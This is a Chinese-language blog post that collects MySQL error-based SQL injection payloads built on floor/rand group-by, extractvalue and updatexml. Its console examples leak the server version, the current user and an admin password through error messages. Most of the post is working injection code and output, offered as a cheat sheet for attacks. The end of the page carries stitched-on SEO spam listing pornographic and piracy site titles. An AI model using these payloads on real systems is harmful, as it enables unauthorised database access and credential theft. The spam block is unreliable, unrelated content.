< 返回

mysql 注入報錯利用方法總結

2024-07-05 11:18 作者:18723323311 閱讀量:4470

1、通過floor報錯

可以通過如下一些利用代碼

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));

舉例如下:

首先進行正常查詢:

mysql> select * from article where id = 1;

+—-+——-+———+

| id | title | content |

+—-+——-+———+

| 1 | test | do it |

+—-+——-+———+

假如id輸入存在注入的話,可以通過如下語句進行報錯。

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry ‘5.1.33-community-log1’ for key ‘group_key’

可以看到成功爆出了Mysql的版本,如果需要查詢其他數據,可以通過修改version()所在位置語句進行查詢。

例如我們需要查詢管理員用戶名和密碼:

Method1:

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));

ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’

2、ExtractValue

測試語句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

實際測試過程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–

ERROR 1105 (HY000): XPATH syntax error: ‘\admin888’

3、UpdateXml

測試語句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

實際測試過程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ‘:root@localhost’

主站蜘蛛池模板: 欧美日韩中文视频| 国产精品va在线观看一| 波多野结衣av高清一区二区三区| 99久久精品免费看国产| 亚洲国产超清无码专区| 国产日本一区二区三区| 成人无码Av片在线观看| 欧美日韩免费在线观看| 色窝窝亚洲AV网在线观看| 一本色道久久88—综合亚洲精品| 亚洲精品无码久久久久久久| 国产寡妇树林野战在线播放| 女人张腿让男桶免费视频网站| 欧美特黄录像播放| 美女高清特黄a大片| 在线国产你懂的| 一级毛片aaaaaa免费看| 亚洲av无码国产一区二区三区| 公交车上性配合享受视频| 国产精品21区| 天堂mv在线看中文字幕| 日本久久久免费高清| 欧美a在线视频| 米兰厉云封免费阅读完结| 黄色一级视频网| 92午夜少妇极品福利无码电影| 丁香色欲久久久久久综合网| 九九免费观看全部免费视频| 亚洲黄色在线观看网站| 国产ts亚洲人妖| 久久精品国产只有精品66| 亚洲欧美日韩成人一区在线| 午夜精品久久久久久久99热| 国产亚洲精品美女久久久| 国产无套粉嫩白浆在线| 国内自产少妇自拍区免费| 好硬好爽好湿好深视频| 日产精品卡一卡2卡三卡乱码工厂 日产精品卡二卡三卡四卡乱码视频 | 国产精品自在在线午夜出白浆 | 国产精品欧美日韩| 国产精品美女久久久网站|